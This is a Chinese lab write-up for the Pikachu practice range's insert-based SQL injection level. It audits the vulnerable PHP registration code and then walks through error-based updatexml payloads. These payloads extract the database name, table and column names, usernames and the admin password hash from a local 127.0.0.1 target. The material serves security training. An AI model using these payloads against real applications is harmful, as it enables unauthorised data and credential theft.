当前位置: 首页 > article >正文

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录

一、SQL注入

二、insert注入

三、报错型注入

四、updatexml函数

五、源码审计

六、insert渗透实战

1、渗透准备

2、获取数据库名database

3、获取表名table

4、获取列名column

5、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对insert/update注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解insert/update注入的原理并进行渗透实践,本文为SQL注入05之insert/update注入关卡的渗透部分。

一、SQL注入

SQL 注入是指攻击者会在应用程序的输入字段中插入恶意的 SQL 代码,从而改变原有的 SQL 查询逻辑。这种攻击可能导致应用程序执行非预期的SQL语句操作,从而使攻击者能够非法访问、篡改或删除数据库中的敏感信息,甚至可能获取数据库的控制权,进而威胁到整个系统的安全性和稳定性。SQL注入攻击的常见场景如下所示,今天我们这篇文章讲的就是第三部分数据插入注入。

  • 登录表单:在许多网站的登录界面,用户需要输入用户名和密码。如果后端代码对用户输入的内容未进行严格验证,直接将其拼接到 SQL 查询语句中,攻击者就可能通过构造特殊的输入绕过正常的登录验证。
  • 搜索功能:当网站提供搜索功能时,用户输入的关键词会被用于数据库查询。若处理不当,攻击者可以利用输入的关键词进行 SQL 注入攻击,获取数据库中的敏感信息。
  • 数据插入(insert注入)与更新(update注入):在涉及数据插入(如用户注册)或更新(如修改用户信息)的操作中,如果对用户输入的数据没有进行有效的过滤和验证,攻击者可以构造恶意输入,修改数据库中的数据或执行其他恶意操作。

二、insert注入

Insert 注入是 SQL 注入攻击的一种类型,主要针对 SQL 语句中的INSERT操作。攻击者利用应用程序在处理用户输入时的安全风险,通过构造恶意输入,将非法的 SQL 代码插入到INSERT语句中,从而改变原本的插入逻辑,实现非法数据的插入、获取数据库敏感信息甚至执行系统命令等目的。

三、报错型注入

报错型注入是 SQL 注入攻击的一种常见方式,攻击者利用数据库错误信息来获取数据库中的敏感数据。

  • 原理:通过构造特殊的 SQL 语句,使数据库在执行时产生错误,并从错误信息里提取有用的数据。不同数据库系统的报错信息和报错注入方法有所差异。
  • 攻击步骤:攻击者先判断注入点,然后构造会引发特定错误的 SQL 语句。例如,在 MySQL 中可利用 UPDATEXML 函数,它在输入不符合 XML 格式时会报错并返回部分输入内容。攻击者借此获取数据库名、表名和列名等信息。
  • 防范措施:避免在应用程序中显示详细的数据库错误信息,防止攻击者从中获取线索。使用参数化查询,将用户输入和 SQL 语句分离,让数据库自动处理输入,防止恶意 SQL 代码注入。对用户输入进行严格验证和过滤,仅允许合法字符和格式。

四、updatexml函数

在 MySQL 数据库里,UPDATEXML 是一个用于更新 XML 文档内容的函数。其基本语法为 UPDATEXML(xml_document, xpath_expr, new_value),此函数的作用是在 xml_document 这个 XML 文档里,依据 xpath_expr 所指定的 XPath 表达式定位节点,接着把这些节点的值更新成 new_value。若 xpath_expr 不符合 XPath 表达式的规范,函数就会产生错误并返回包含错误信息的结果。

在报错注入中,攻击者通常将 updatexml函数的第二个参数(XPath 表达式)设置为非法值,从而引发错误。通过这种方式,攻击者可以从错误信息中提取敏感数据。假设存在一个简单的 SQL 查询语句 SELECT * FROM users WHERE id = $id,攻击者可以构造如下注入语句:

1 AND updatexml(1,CONCAT(0x7e,(SELECT database()),0x7e),1)

在这个语句中,0x7e 代表波浪线 ~,(SELECT database()) 用于获取当前数据库的名称。当数据库执行这条语句时,由于 CONCAT(0x7e,(SELECT database()),0x7e) 并非有效的 XPath 表达式,updatexml函数就会报错,错误信息中会包含当前数据库的名称。 

五、源码审计

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_reg.php,很明显SQL语句没有对POST方法传入的多个参数进行过滤,存在SQL注入风险,具体如下所示。

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化用于存储 HTML 内容的变量,用于后续输出提示信息
$html = '';// 检查是否通过 POST 方法提交了表单
if (isset($_POST['submit'])) {// 检查提交的表单中 username 和 password 字段是否不为空if ($_POST['username'] != null && $_POST['password'] != null) {// 注释掉的代码,原本的意图是对 POST 数据进行转义处理,防止 SQL 注入// $getdata = escape($link, $_POST); // 未对 POST 数据进行转义处理,直接将其赋值给 $getdata 变量$getdata = $_POST;// 构造一个 SQL 插入语句,将用户输入的数据插入到 member 表中// 其中密码使用 md5 函数进行加密存储$query = "insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";// 调用 execute 函数执行构造好的 SQL 插入语句$result = execute($link, $query);// 检查执行插入操作后受影响的行数是否为 1// mysqli_affected_rows 函数用于获取上次 SQL 操作受影响的行数if (mysqli_affected_rows($link) == 1) {// 如果插入成功,将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";} else {// 如果插入失败,将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>注册失败,请检查下数据库是否还活着</p>";}} else {// 如果 username 或 password 字段为空,将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>必填项不能为空哦</p>";}
}
?>

此代码存在 SQL 注入安全风险,主要原因是对用户输入的数据未进行任何转义或验证处理。代码中原本注释掉了转义函数调用 $getdata = escape($link, $_POST);,而直接使用 $getdata = $_POST; 将用户输入的数据拼接到 SQL 插入语句中。攻击者可通过构造特殊的输入内容来改变 SQL 语句的逻辑,从而实现恶意操作。如下所示传入的参数中username, pw, sex, phonenum, email, address均为注入点。

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

构造闭合语句:liujiannan01' and updatexml(0, concat(0x7e,database()),1) or ' 

六、insert渗透实战

1、渗透准备

打开靶场SQL注入第五关insert型注入,点击注册后进入注册页面,页面包括需要填写的用户名、密码、性别、邮寄、邮箱和住址信息,这与代码审计的分析一致,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_reg.php

bp开启抓包在注册信息中填写内容,并点击注册,如下所示。 

burpsuite抓包,找到这个注册报文,具体信息如下所示,POST方法传参包括username, pw, sex, phonenum, email, address,这与源码分析一致,由于使用POST方法传参,故而我们使用bp进行渗透。

2、获取数据库名database

ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '

输入ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '后点击注册,如下所示。

此时页面提示报错信息,爆出数据库的名称为“pikachu”,具体如下所示。  

此时burpsuite抓包如下所示,将报文发送到repeater,后续通过修改POST内容进行注入。

3、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or '&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库pikachu表有4个以上的table表,但是第五个没有展示全,只有一个x字符,其他前四个分别为httpinfo, member,message, users,如下所示。

之所以没有展示全是因为update的报错信息最多展示32个字符,出去第一个字符是报错的波浪线以外,也就是说有效的字符只能显示31个。接下来使用right函数显示从右到左31个字符,具体注入命令如下所示 。

username=' or updatexml(1, concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),31)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

点击发送后,展示从右开始31个字符,与上一个图片对比可知最后一个table表为xssblind。

4、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'
)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

5、获取字段

对pikachu数据库中users表的username列进行爆破,命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库users表的username字段如下所示,渗透成功。  

接下来获取admin账户的密码,注入命令如下所示但是没有显示完全,如下所示。 

username=' or updatexml(1,concat(0x7e,(select group_concat(password) from users where username='admin')),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

我们通过substr函数获取admin账户的密码的第32位开始的31个字符串,注入命令如下所示显示了一个字符e,拼接后即可获取到admin的密码,e10adc3949ba59abbe56e057f20f883e,如下所示。  

username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(password)) from users where username='admin'),32,31)),1)  or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

相关文章:

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关&#xff0…...

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包

文章目录 现象&#xff1a;mysql已经安装&#xff0c;但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时&#xff0c;可能是因为以下几个原因&#xff1a;1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...

Map相关知识

数据结构 二叉树 二叉树&#xff0c;顾名思义&#xff0c;每个节点最多有两个“叉”&#xff0c;也就是两个子节点&#xff0c;分别是左子 节点和右子节点。不过&#xff0c;二叉树并不要求每个节点都有两个子节点&#xff0c;有的节点只 有左子节点&#xff0c;有的节点只有…...

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

图表类系列各种样式PPT模版分享

图标图表系列PPT模版&#xff0c;柱状图PPT模版&#xff0c;线状图PPT模版&#xff0c;折线图PPT模版&#xff0c;饼状图PPT模版&#xff0c;雷达图PPT模版&#xff0c;树状图PPT模版 图表类系列各种样式PPT模版分享&#xff1a;图表系列PPT模板https://pan.quark.cn/s/20d40aa…...

tree 树组件大数据卡顿问题优化

问题背景 项目中有用到树组件用来做文件目录&#xff0c;但是由于这个树组件的节点越来越多&#xff0c;导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多&#xff0c;导致的浏览器卡顿&#xff0c;这里很明显就需要用到虚拟列表的技术&…...

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI&#xff08;https://spring.io/projects/spring-ai&#xff09;作为Spring生态中的AI集成框架&#xff0c;其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似&#xff0c;但特别为多语…...

Spring数据访问模块设计

前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据&#xff08;数据库、No…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务&#xff1a; test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

Swagger和OpenApi的前世今生

Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章&#xff0c;二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑&#xff1a; &#x1f504; 一、起源与初创期&#xff1a;Swagger的诞生&#xff08;2010-2014&#xff09; 核心…...

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)

参考官方文档&#xff1a;https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java&#xff08;供 Kotlin 使用&#xff09; 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...

C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。

1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj&#xff0c;再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

【Oracle】分区表

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...

CMake控制VS2022项目文件分组

我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南

精益数据分析&#xff08;97/126&#xff09;&#xff1a;邮件营销与用户参与度的关键指标优化指南 在数字化营销时代&#xff0c;邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天&#xff0c;我们将深入解析邮件打开率、网站可用性、页面参与时…...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

Element Plus 表单(el-form)中关于正整数输入的校验规则

目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入&#xff08;联动&#xff09;2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2

每日一言 今天的每一份坚持&#xff0c;都是在为未来积攒底气。 案例&#xff1a;OLED显示一个A 这边观察到一个点&#xff0c;怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 &#xff1a; 如果代码里信号切换太快&#xff08;比如 SDA 刚变&#xff0c;SCL 立刻变&#…...

大数据学习(132)-HIve数据分析

​​​​&#x1f34b;&#x1f34b;大数据学习&#x1f34b;&#x1f34b; &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 用力所能及&#xff0c;改变世界。 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

Rapidio门铃消息FIFO溢出机制

关于RapidIO门铃消息FIFO的溢出机制及其与中断抖动的关系&#xff0c;以下是深入解析&#xff1a; 门铃FIFO溢出的本质 在RapidIO系统中&#xff0c;门铃消息FIFO是硬件控制器内部的缓冲区&#xff0c;用于临时存储接收到的门铃消息&#xff08;Doorbell Message&#xff09;。…...